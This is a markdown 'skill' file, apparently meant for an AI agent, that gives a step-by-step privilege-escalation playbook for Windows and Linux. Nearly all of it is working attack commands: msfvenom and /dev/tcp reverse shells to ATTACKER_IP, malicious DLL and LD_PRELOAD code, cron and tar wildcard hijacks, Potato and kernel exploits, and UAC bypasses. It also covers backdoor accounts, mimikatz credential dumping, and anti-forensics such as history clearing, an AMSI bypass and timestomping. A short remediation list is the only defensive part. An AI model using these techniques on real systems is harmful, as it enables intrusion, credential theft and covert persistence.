---
name: rt-privilege-escalation
description: "Privilege escalation skill for Windows and Linux. Windows: WinPEAS automation, service misconfiguration (unquoted paths), AlwaysInstallElevated, token impersonation (SeImpersonatePrivilege), DLL hijacking, UAC bypass, registry RunKey. Linux: LinPEAS automation, SUID binary abuse via GTFOBins, sudo -l misconfiguration, cron job writable scripts, kernel exploit identification with linux-exploit-suggester, LD_PRELOAD."
---

# rt-privilege-escalation

## Overview

Privilege escalation (PrivEsc) is the act of exploiting misconfigurations, vulnerabilities, or design weaknesses to gain elevated permissions on a compromised host — moving from a low-privilege shell to SYSTEM/root. This skill covers both Windows and Linux environments and is used immediately after initial foothold to gain the access level needed for lateral movement, credential harvesting, and mission objectives.

**When to use this skill:**
- After obtaining any low-privilege shell (webshell, RCE, phishing)
- After lateral movement lands you on a new host without admin rights
- When an engagement requires domain admin or SYSTEM-level access
- During internal penetration tests to demonstrate impact of initial compromise

---

## Prerequisites and Tool Setup

### Attacker Machine (Kali Linux)

```bash
# Update and install core tools
sudo apt update && sudo apt install -y \
    python3 python3-pip curl wget git \
    mingw-w64 mono-complete \
    nmap crackmapexec evil-winrm

# Install PEASS-ng (WinPEAS + LinPEAS)
git clone https://github.com/carlospolop/PEASS-ng.git /opt/PEASS-ng
cd /opt/PEASS-ng/winPEAS/winPEASexe && make release   # builds WinPEAS binaries
# Pre-built binaries available in releases: https://github.com/carlospolop/PEASS-ng/releases

# Download pre-built WinPEAS and LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_amsiescape.exe \
    -O /opt/PEASS-ng/winPEASany_amsiescape.exe
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh \
    -O /opt/PEASS-ng/linpeas.sh
chmod +x /opt/PEASS-ng/linpeas.sh

# Install linux-exploit-suggester
git clone https://github.com/The-Z-Labs/linux-exploit-suggester /opt/linux-exploit-suggester

# Install Windows privilege escalation tools
git clone https://github.com/PowerShellMafia/PowerSploit /opt/PowerSploit
git clone https://github.com/itm4n/PrivescCheck /opt/PrivescCheck
git clone https://github.com/ohpe/juicy-potato /opt/juicy-potato
git clone https://github.com/BeichenDream/GodPotato /opt/GodPotato

# Install Impacket (for token and credential operations)
pip3 install impacket

# Setup a simple HTTP server for file delivery
# (run from tool directory when needed)
# python3 -m http.server 8080
```

### Target Enumeration Baseline

Before running automated tools, capture the baseline manually:

**Windows:**
```cmd
whoami /all
net user
net localgroup administrators
systeminfo
wmic os get Caption,Version,BuildNumber
```

**Linux:**
```bash
id
uname -a
cat /etc/os-release
cat /proc/version
whoami
```

---

## Skill Levels

### BEGINNER — Automated Enumeration and Low-Hanging Fruit

**Goal:** Run automated scripts, identify obvious misconfigurations, report findings.

#### Windows — WinPEAS Automation

```powershell
# Step 1: Transfer WinPEAS to target (from attacker machine)
# On attacker:
cd /opt/PEASS-ng && python3 -m http.server 8080

# On target (PowerShell):
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/winPEASany_amsiescape.exe" -OutFile "C:\Temp\winpeas.exe"

# Step 2: Run WinPEAS
C:\Temp\winpeas.exe > C:\Temp\winpeas_output.txt 2>&1
type C:\Temp\winpeas_output.txt

# Step 3: Run with color output (interactive shell)
C:\Temp\winpeas.exe fast searchfast

# Step 4: PowerShell-based alternative (PrivescCheck)
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/PrivescCheck.ps1" -OutFile "C:\Temp\PrivescCheck.ps1"
Set-ExecutionPolicy Bypass -Scope Process
Import-Module C:\Temp\PrivescCheck.ps1
Invoke-PrivescCheck -Extended -Report C:\Temp\privesc_report -Format TXT,HTML
```

#### Linux — LinPEAS Automation

```bash
# Step 1: Transfer LinPEAS
curl http://ATTACKER_IP:8080/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh

# Step 2: Run LinPEAS (full output with color)
/tmp/linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt

# Step 3: Run without color for log review
/tmp/linpeas.sh -a 2>/dev/null | sed 's/\x1b\[[0-9;]*m//g' > /tmp/linpeas_clean.txt

# Step 4: Quick SUID check
find / -perm -u=s -type f 2>/dev/null

# Step 5: Sudo permissions
sudo -l
```

**What to look for in output (Beginners):**
- Red/yellow highlighted findings in WinPEAS/LinPEAS
- Services running as SYSTEM/root
- Writable directories in PATH
- SUID binaries not in standard list
- Password files or credentials in plaintext

---

### INTERMEDIATE — Manual Exploitation of Common Misconfigurations

#### Windows: Unquoted Service Paths

Services with unquoted paths containing spaces can be hijacked by placing a malicious binary in an intermediate directory.

```powershell
# Step 1: Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Step 2: Verify with PowerShell
Get-WmiObject Win32_Service | Select-Object Name, PathName, StartMode | Where-Object {$_.PathName -notmatch '"' -and $_.PathName -notmatch 'C:\\Windows'} | Format-List

# Example vulnerable path:
# C:\Program Files\Vulnerable App\service.exe
# Attacker can place: C:\Program.exe or C:\Program Files\Vulnerable.exe

# Step 3: Check write permissions on intermediate paths
icacls "C:\Program Files\Vulnerable App"
# Look for: BUILTIN\Users:(W) or BUILTIN\Users:(F)

# Step 4: Generate malicious binary (on attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o /tmp/service_exploit.exe

# Step 5: Place binary and start listener
# On attacker:
nc -lvnp 4444

# On target:
# Copy to writable intermediate path
copy C:\Temp\service_exploit.exe "C:\Program Files\Vulnerable.exe"

# Step 6: Restart service (if permissions allow)
sc stop "VulnerableService"
sc start "VulnerableService"
# Or wait for system reboot
```

#### Windows: AlwaysInstallElevated

```powershell
# Step 1: Check registry keys (both must be 1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Step 2: If both return 0x1, generate malicious MSI
# On attacker:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f msi -o /tmp/evil.msi

# Step 3: Transfer and execute
# On target:
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/evil.msi" -OutFile "C:\Temp\evil.msi"

# Start listener on attacker:
nc -lvnp 4445

# On target:
msiexec /quiet /qn /i C:\Temp\evil.msi
```

#### Windows: Registry RunKey Persistence + Escalation

```powershell
# Check AutoRun registry keys for writable entries
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Add persistence (HKCU — no admin needed)
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "WindowsUpdate" /t REG_SZ /d "C:\Temp\payload.exe" /f

# Check for HKLM writability (requires admin — useful if you already have it for persistence)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "WindowsUpdate" /t REG_SZ /d "C:\Temp\payload.exe" /f
```

#### Linux: SUID Binary Abuse via GTFOBins

```bash
# Step 1: Find all SUID binaries
find / -perm -u=s -type f 2>/dev/null | sort

# Step 2: Cross-reference with GTFOBins (https://gtfobins.github.io)
# Common exploitable SUID binaries:

# nmap (older versions)
nmap --interactive
nmap> !sh

# vim/vi
vim -c ':!/bin/bash'
# or if vim has SUID:
/usr/bin/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# find
find . -exec /bin/bash -p \; -quit

# bash (if SUID set)
bash -p

# python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# less/more
less /etc/passwd
!/bin/sh

# awk
awk 'BEGIN {system("/bin/bash -p")}'

# cp (copy /etc/passwd style attack)
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p

# Step 3: Verify privilege gained
id
whoami
```

#### Linux: Sudo Misconfiguration

```bash
# Step 1: Check sudo permissions
sudo -l

# Common misconfigurations:

# NOPASSWD on all commands
# (ALL) NOPASSWD: ALL
sudo /bin/bash

# NOPASSWD on specific binary — check GTFOBins
# Example: (ALL) NOPASSWD: /usr/bin/less
sudo less /etc/shadow
!/bin/bash

# Sudo with environment variable pass-through (env_keep+=LD_PRELOAD)
# See ADVANCED section for LD_PRELOAD exploit

# Sudo on vim
sudo vim -c ':!/bin/bash'

# Sudo on python
sudo python3 -c 'import os; os.system("/bin/bash")'

# Sudo on nmap
sudo nmap --interactive
nmap> !sh

# Sudo on awk
sudo awk 'BEGIN {system("/bin/bash")}'

# Sudo on man
sudo man man
!bash

# Sudo on zip
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'bash #'
sudo rm $TF
```

---

### ADVANCED — Kernel Exploits, Token Impersonation, DLL Hijacking

#### Windows: Token Impersonation (SeImpersonatePrivilege)

SeImpersonatePrivilege is commonly held by IIS AppPool accounts, SQL Server service accounts, and network service accounts.

```powershell
# Step 1: Check privileges
whoami /priv
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege

# Step 2: Choose the right Potato exploit based on OS version
# Check OS version:
(Get-WmiObject Win32_OperatingSystem).BuildNumber
# 10240-14393 (Win10 early/Server 2016): JuicyPotato
# 17134+ or if CLSID fails: PrintSpoofer or RoguePotato
# Server 2019+/Win10 1809+: GodPotato

# Step 3a: GodPotato (most universal — works on Win10/11, Server 2012-2022)
# On attacker:
wget https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe \
    -O /opt/GodPotato/GodPotato-NET4.exe
python3 -m http.server 8080

# On target:
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/GodPotato-NET4.exe" -OutFile "C:\Temp\GodPotato.exe"
# Execute command as SYSTEM:
C:\Temp\GodPotato.exe -cmd "cmd /c whoami"
# Reverse shell:
C:\Temp\GodPotato.exe -cmd "cmd /c C:\Temp\payload.exe"

# Step 3b: PrintSpoofer (Windows 10/Server 2016/2019 with spooler running)
wget https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe \
    -O /opt/PrintSpoofer64.exe

# On target:
C:\Temp\PrintSpoofer64.exe -i -c cmd
# or for reverse shell:
C:\Temp\PrintSpoofer64.exe -c "C:\Temp\payload.exe"

# Step 3c: JuicyPotato (older systems — requires valid CLSID)
# CLSID list: https://github.com/ohpe/juicy-potato/tree/master/CLSID
C:\Temp\JuicyPotato.exe -l 1337 -p C:\Temp\payload.exe -t * -c "{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}"
```

#### Windows: DLL Hijacking

```powershell
# Step 1: Identify DLL hijacking opportunities
# Method A: Process Monitor (Sysinternals) — filter on NAME NOT FOUND + .dll
# Method B: Automated with WinPEAS (look for "Possible DLL Hijacking" section)

# Step 2: Find writable directories in PATH
$env:PATH -split ';' | ForEach-Object { 
    if (Test-Path $_) { 
        $acl = Get-Acl $_
        $acl.Access | Where-Object { $_.FileSystemRights -match 'Write|FullControl' -and $_.IdentityReference -match 'Users|Everyone|Authenticated' }
        if ($acl.Access | Where-Object { $_.FileSystemRights -match 'Write|FullControl' }) { $_ }
    }
}

# Step 3: Identify target DLL from application
# Example: Application loads "version.dll" from current directory before system path

# Step 4: Create malicious DLL (on attacker)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f dll -o /tmp/version.dll

# For a custom DLL that also loads the real DLL (proxy DLL — less detection):
cat > /tmp/proxy.c << 'EOF'
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c C:\\Temp\\payload.exe");
    }
    return TRUE;
}
EOF
x86_64-w64-mingw32-gcc -shared -o /tmp/version.dll /tmp/proxy.c -lws2_32

# Step 5: Place DLL and trigger (restart service/application)
copy C:\Temp\version.dll "C:\Program Files\VulnerableApp\version.dll"
sc stop "VulnerableApp" && sc start "VulnerableApp"
```

#### Windows: UAC Bypass

```powershell
# Step 1: Check UAC level
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
# 0 = No prompt (no UAC)
# 2 = Prompt for credentials
# 5 = Prompt for consent (default)

# Step 2: Check if current user is in local admins group
net localgroup administrators
# If yes, UAC bypass gives SYSTEM-equivalent without prompt

# Method A: fodhelper.exe UAC bypass (Windows 10)
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
Set-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name "(default)" -Value "C:\Temp\payload.exe"
Start-Process "C:\Windows\System32\fodhelper.exe"
# Cleanup after:
Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force

# Method B: computerdefaults.exe (similar to fodhelper, works on newer Win10/11)
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
Set-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name "(default)" -Value "C:\Temp\payload.exe"
Start-Process "C:\Windows\System32\computerdefaults.exe"
Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force

# Method C: Using UACME (comprehensive UAC bypass toolkit)
# https://github.com/hfiref0x/UACME
# Method 33: akagi64.exe 33 C:\Temp\payload.exe
```

#### Linux: Kernel Exploit Identification

```bash
# Step 1: Run linux-exploit-suggester
curl http://ATTACKER_IP:8080/linux-exploit-suggester.sh -o /tmp/les.sh
chmod +x /tmp/les.sh
/tmp/les.sh | tee /tmp/les_output.txt

# Step 2: Get kernel version details
uname -r
cat /proc/version
lsb_release -a 2>/dev/null || cat /etc/*release

# Step 3: Notable kernel exploits (match version carefully)
# DirtyPipe (CVE-2022-0847) — Linux 5.8-5.16.10
uname -r  # Must be 5.8 <= version <= 5.16.10
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits /tmp/dirtypipe
cd /tmp/dirtypipe && gcc exploit-1.c -o exploit1 && ./exploit1

# DirtyCow (CVE-2016-5195) — Linux < 4.8.3
searchsploit dirtycow
searchsploit -m 40839
gcc -pthread /tmp/40839.c -o /tmp/dirtycow -lcrypt
/tmp/dirtycow /etc/passwd "root:$6$saltsalt$<hash>:0:0:root:/root:/bin/bash"

# PwnKit (CVE-2021-4034) — pkexec SUID (most Linux distros pre-Jan 2022)
git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
cd /tmp/pwnkit && make && ./PwnKit

# Step 4: Compile on attacker if target lacks gcc
# Compile for target architecture:
gcc -static exploit.c -o exploit_static
# Transfer compiled binary
```

#### Linux: LD_PRELOAD Escalation

```bash
# Step 1: Check for env_keep LD_PRELOAD in sudo
sudo -l
# Look for: env_keep+=LD_PRELOAD

# Step 2: Create malicious shared library (on target or attacker then transfer)
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles

# Step 3: Execute with sudo
sudo LD_PRELOAD=/tmp/shell.so find / -name nothing 2>/dev/null
# or any command you have sudo access to:
sudo LD_PRELOAD=/tmp/shell.so apache2
```

---

### EXPERT — Advanced Chains, Credential-Based Escalation, Living off the Land

#### Windows: Token Manipulation with Incognito/Meterpreter

```powershell
# Via Meterpreter:
# meterpreter> use incognito
# meterpreter> list_tokens -u
# meterpreter> impersonate_token "NT AUTHORITY\\SYSTEM"
# meterpreter> getuid

# Manual token manipulation with PowerShell:
# Enable SeDebugPrivilege
[System.Diagnostics.Process]::GetCurrentProcess().Handle

# Steal token from privileged process using P/Invoke
# (Requires custom script — use PowerSploit's Invoke-TokenManipulation)
Import-Module C:\Temp\PowerSploit\Exfiltration\Invoke-TokenManipulation.ps1
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
```

#### Windows: Service Binary Replacement

```powershell
# Step 1: Find services with weak binary permissions
# WinPEAS does this; manual check:
Get-WmiObject Win32_Service | ForEach-Object {
    $path = $_.PathName -replace '"','' -replace '\s.*',''
    if ($path -and (Test-Path $path)) {
        $acl = Get-Acl $path -ErrorAction SilentlyContinue
        if ($acl) {
            $acl.Access | Where-Object {
                $_.FileSystemRights -match 'Write|FullControl|Modify' -and
                $_.IdentityReference -match 'Users|Everyone|Authenticated'
            } | ForEach-Object {
                [PSCustomObject]@{Service=$_.Name; Path=$path; Rights=$_.FileSystemRights}
            }
        }
    }
}

# Step 2: Backup original binary
copy "C:\Program Files\VulnService\service.exe" "C:\Temp\service.exe.bak"

# Step 3: Replace with payload
copy C:\Temp\payload.exe "C:\Program Files\VulnService\service.exe" /y

# Step 4: Restart service
sc stop VulnService && sc start VulnService
# Restore after exploitation:
copy C:\Temp\service.exe.bak "C:\Program Files\VulnService\service.exe" /y
```

#### Linux: Cron Job Writable Script Hijacking

```bash
# Step 1: Enumerate cron jobs
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/
crontab -l 2>/dev/null
# Check other users crons (if you can read /var/spool/cron)
ls /var/spool/cron/crontabs/ 2>/dev/null

# Step 2: Find writable scripts called by root cron
# Example crontab entry: */5 * * * * root /opt/scripts/backup.sh
ls -la /opt/scripts/backup.sh
# If writable by current user:

# Step 3: Inject reverse shell into cron script
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4447 0>&1' >> /opt/scripts/backup.sh

# Alternative — replace script entirely
cat > /opt/scripts/backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4447 0>&1
EOF
chmod +x /opt/scripts/backup.sh

# Step 4: Setup listener and wait
# On attacker:
nc -lvnp 4447

# Step 5: Check writable PATH directories used by cron
# If crontab has PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# and /usr/local/bin is writable:
echo '#!/bin/bash' > /usr/local/bin/curl
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4447 0>&1' >> /usr/local/bin/curl
chmod +x /usr/local/bin/curl
# When cron script calls 'curl', yours runs instead
```

#### Linux: Wildcard Injection in Cron

```bash
# If cron runs: tar czf /backup/archive.tar.gz /var/www/html/*
# and you can write to /var/www/html:

# Create files that tar interprets as flags
echo "" > /var/www/html/--checkpoint=1
echo "" > "/var/www/html/--checkpoint-action=exec=bash shell.sh"

# Create the payload script
echo '#!/bin/bash' > /var/www/html/shell.sh
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4448 0>&1' >> /var/www/html/shell.sh
chmod +x /var/www/html/shell.sh

# When tar runs with *, the filenames become flags and shell.sh executes as root
```

---

## Step-by-Step Attack Workflow

### Windows Privilege Escalation Workflow

```
1. LAND ON HOST
   └─ Verify shell type (cmd/powershell), user context, architecture

2. BASIC ENUMERATION (Manual)
   ├─ whoami /all                    → Check privileges and group memberships
   ├─ systeminfo                     → OS version, hotfixes
   ├─ net user && net localgroup     → User and group inventory
   └─ ipconfig /all && route print   → Network position

3. AUTOMATED SCAN
   └─ Run WinPEAS or PrivescCheck → Save output for review

4. TRIAGE FINDINGS (Priority Order)
   ├─ [P1] SeImpersonatePrivilege → Potato/PrintSpoofer → SYSTEM
   ├─ [P1] AlwaysInstallElevated  → MSI payload → SYSTEM
   ├─ [P2] Unquoted service paths → Binary in path → SYSTEM (on restart)
   ├─ [P2] Weak service permissions → Replace binary → SYSTEM
   ├─ [P2] DLL hijacking          → Malicious DLL → SYSTEM
   ├─ [P3] UAC bypass             → Elevated shell (if local admin)
   ├─ [P3] Scheduled tasks        → Replace binary/script
   └─ [P4] Registry autoruns      → User-level persistence

5. EXPLOIT
   └─ Execute chosen technique → Catch shell → Verify SYSTEM

6. STABILIZE
   ├─ Add admin user (if in scope): net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add
   ├─ Dump credentials: Invoke-Mimikatz or mimikatz.exe
   └─ Setup persistence

7. DOCUMENT
   └─ Screenshot, log commands, record timestamps
```

### Linux Privilege Escalation Workflow

```
1. LAND ON HOST
   └─ id, uname -a, cat /etc/passwd, cat /proc/version

2. BASIC ENUMERATION (Manual)
   ├─ sudo -l                        → Sudo permissions
   ├─ find / -perm -u=s 2>/dev/null  → SUID binaries
   ├─ cat /etc/crontab               → Cron jobs
   ├─ env                            → Environment variables
   └─ ps aux                         → Running processes

3. AUTOMATED SCAN
   └─ Run LinPEAS → Save output

4. TRIAGE FINDINGS (Priority Order)
   ├─ [P1] NOPASSWD sudo ALL         → sudo bash → root
   ├─ [P1] Exploitable SUID binary   → GTFOBins technique → root
   ├─ [P1] LD_PRELOAD with sudo      → Malicious .so → root
   ├─ [P2] Writable cron script      → Inject reverse shell
   ├─ [P2] Wildcard in cron          → Argument injection
   ├─ [P2] Writable /etc/passwd      → Add root user
   ├─ [P3] Kernel exploit match      → Compile and run
   └─ [P4] Writable PATH in cron     → Binary hijacking

5. EXPLOIT
   └─ Execute chosen technique → Verify root with id

6. STABILIZE
   ├─ Add backdoor user: echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd
   ├─ SSH key: echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
   └─ Dump /etc/shadow

7. DOCUMENT
   └─ Screenshot, log commands, record timestamps
```

---

## Real Attack Scenarios

### Scenario 1: IIS Webshell to SYSTEM via Token Impersonation (Windows)

**Context:** Exploited file upload vulnerability, obtained webshell running as IIS AppPool\DefaultAppPool.

```
Phase 1 — Upgrade Shell
```
```powershell
# In webshell, download and execute reverse shell
powershell -c "Invoke-WebRequest http://ATTACKER_IP:8080/nc64.exe -OutFile C:\Temp\nc64.exe; C:\Temp\nc64.exe -e cmd.exe ATTACKER_IP 4444"
```
```
# On attacker:
nc -lvnp 4444
# Connected as: IIS APPPOOL\DefaultAppPool
```

```
Phase 2 — Verify Privilege
```
```cmd
whoami /priv
# SeImpersonatePrivilege          Enabled ← JACKPOT
```

```
Phase 3 — GodPotato to SYSTEM
```
```powershell
Invoke-WebRequest http://ATTACKER_IP:8080/GodPotato-NET4.exe -OutFile C:\Temp\gp.exe
Invoke-WebRequest http://ATTACKER_IP:8080/nc64.exe -OutFile C:\Temp\nc64.exe

# On attacker (new terminal):
nc -lvnp 4445

# On target:
C:\Temp\gp.exe -cmd "C:\Temp\nc64.exe -e cmd.exe ATTACKER_IP 4445"
```
```
# Connected as: NT AUTHORITY\SYSTEM
```

```
Phase 4 — Credential Harvest
```
```cmd
C:\Temp\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

**Chain Summary:** Webshell (IIS AppPool) → SeImpersonatePrivilege → GodPotato → SYSTEM → Credential dump

---

### Scenario 2: Low-Privilege SSH to Root via Sudo Misconfiguration (Linux)

**Context:** Obtained SSH credentials for low-privilege user `www-data` from database dump.

```
Phase 1 — Connect and Enumerate
```
```bash
ssh www-data@TARGET_IP
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

sudo -l
# User www-data may run the following commands on target:
#     (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/monitor.py
```

```
Phase 2 — Analyze the Script
```
```bash
cat /opt/scripts/monitor.py
# import subprocess
# subprocess.run(['ps', 'aux'])
# The script imports subprocess — we can abuse Python path

ls -la /opt/scripts/
# -rwxr-xr-x 1 root root ... monitor.py
# drwxrwxr-x 2 root www-data ... (directory is writable!)
```

```
Phase 3 — Python Library Hijacking
```
```bash
# Create malicious subprocess.py in the script directory
cat > /opt/scripts/subprocess.py << 'EOF'
import os
os.setuid(0)
os.setgid(0)
os.system('/bin/bash -p')
EOF

sudo /usr/bin/python3 /opt/scripts/monitor.py
# Python loads /opt/scripts/subprocess.py before system subprocess
```
```
# id → uid=0(root) gid=0(root)
```

```
Phase 4 — Establish Persistence
```
```bash
echo 'ssh-rsa AAAA...[attacker-key]...' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
```

**Chain Summary:** SSH (www-data) → sudo NOPASSWD python3 → Writable script directory → Python hijack → root

---

### Scenario 3: Domain User to Local SYSTEM via Unquoted Path + UAC Bypass (Windows)

**Context:** Phishing gave low-privilege domain user shell. User is local admin but UAC is enabled.

```
Phase 1 — Enumerate Services
```
```powershell
# Check for unquoted paths
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v '"' | findstr /i /v "C:\Windows"
# VulnerableApp  C:\Program Files\Vulnerable App\bin\app.exe  Auto
```

```
Phase 2 — Verify Write Permissions
```
```powershell
icacls "C:\Program Files\Vulnerable App"
# BUILTIN\Users:(W)  ← writable!
```

```
Phase 3 — Place Malicious Binary
```
```powershell
# On attacker:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe -o /tmp/Vulnerable.exe
python3 -m http.server 8080

# On target:
Invoke-WebRequest http://ATTACKER_IP:8080/Vulnerable.exe -OutFile "C:\Program Files\Vulnerable.exe"
# nc -lvnp 4446 on attacker, then:
sc stop VulnerableApp && sc start VulnerableApp
```
```
# Shell returns as SYSTEM (service runs as LocalSystem)
```

**Alternative — UAC Bypass if needing admin context first:**
```powershell
# User is local admin, UAC blocks elevation
# Use fodhelper bypass to get elevated cmd, then use Potato for SYSTEM
$cmd = "C:\Temp\payload.exe"
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value $cmd
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
```

**Chain Summary:** Domain user (local admin) → UAC bypass (fodhelper) → High integrity shell → Unquoted path → SYSTEM

---

## OPSEC Considerations

### Detection Risks

| Technique | Detection Method | Risk Level |
|---|---|---|
| WinPEAS/LinPEAS execution | AV signature, behavioral heuristics | HIGH |
| Mimikatz | LSASS access, AV signature | CRITICAL |
| GodPotato/PrintSpoofer | Named pipe creation, token duplication events (EID 4672) | HIGH |
| UAC bypass (fodhelper) | Registry key creation in HKCU\Software\Classes\ms-settings | MEDIUM |
| Kernel exploits | System crash risk, process anomaly detection | HIGH |
| New local admin user creation | EID 4720 (user created), EID 4732 (added to group) | CRITICAL |
| Service binary replacement | File integrity monitoring, service control events | HIGH |
| Cron script modification | File integrity monitoring (auditd, AIDE) | MEDIUM |
| SUID exploitation | Process spawning from SUID binary | LOW-MEDIUM |

### Mitigation Guidance (For Report)

**Windows:**
- Remove SeImpersonatePrivilege from service accounts where not needed
- Enable UAC at maximum level and patch
- Quote all service paths in registry
- Implement application whitelisting (AppLocker/WDAC)
- Enable Credential Guard to protect LSASS
- Audit and remove AlwaysInstallElevated registry keys
- Use Protected Users security group for privileged accounts

**Linux:**
- Audit SUID binaries: `find / -perm -4000 2>/dev/null` — remove unnecessary ones
- Use sudoers with specific commands and avoid NOPASSWD
- Remove LD_PRELOAD from env_keep in sudoers
- Implement file integrity monitoring (AIDE, Tripwire) on cron scripts
- Keep kernel patched; monitor CVE feeds for running kernel version
- Use AppArmor/SELinux profiles for privilege containment

### OPSEC Best Practices

```bash
# Use in-memory execution where possible
# PowerShell (Windows):
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER_IP:8080/script.ps1")

# Avoid writing to disk when possible
# Use LOLBins (Living Off the Land Binaries)

# Clear command history (Linux):
history -c && history -w
unset HISTFILE
export HISTSIZE=0

# PowerShell history location (clear it):
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue

# Use AMSI bypass before running scripts (Windows):
# [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Timestomp files after writing (match legitimate files):
# Linux:
touch -r /bin/bash /tmp/exploit

# Windows:
# Use Metasploit timestomp module or custom PowerShell

# Encrypt C2 traffic — use HTTPS listeners, not plain HTTP/nc

# Clean up tools after use
Remove-Item C:\Temp\winpeas.exe -Force
rm -f /tmp/linpeas.sh /tmp/les.sh
```

---

## Output and Documentation Instructions

### During Exploitation — Capture Evidence

```bash
# Linux — log all commands with timestamps
script -a /tmp/privesc_session.log
# Or use:
exec > >(tee -a /tmp/privesc_log.txt) 2>&1

# Windows — log PowerShell session
Start-Transcript -Path C:\Temp\privesc_log.txt -Append
```

### Mandatory Screenshots

1. Initial shell showing low-privilege user (`whoami`, `id`)
2. Vulnerability identified (WinPEAS/LinPEAS output section, or manual discovery)
3. Exploit command executed
4. Elevated shell with `whoami` / `id` showing SYSTEM or root
5. Proof file read (e.g., `type C:\Users\Administrator\Desktop\proof.txt` or `cat /root/root.txt`)

### Report Documentation Template

```markdown
## Privilege Escalation Finding

**Severity:** Critical / High
**Host:** [HOSTNAME] ([IP])
**Initial Access:** [www-data / IIS AppPool / domain\user]
**Escalated To:** SYSTEM / root

### Vulnerability
[Description of the misconfiguration or vulnerability]

### Evidence
- Screenshot 1: [Low-privilege shell]
- Screenshot 2: [Vulnerability identified]
- Screenshot 3: [Exploit execution]
- Screenshot 4: [Elevated access confirmed]

### Commands Used
[Step-by-step commands with output]

### Business Impact
[What an attacker can do with SYSTEM/root access]

### Remediation
[Specific remediation steps]
```

### Organizing Findings Per Host

```
findings/
└── HOST_IP/
    ├── 01_initial_shell.png
    ├── 02_winpeas_output.txt
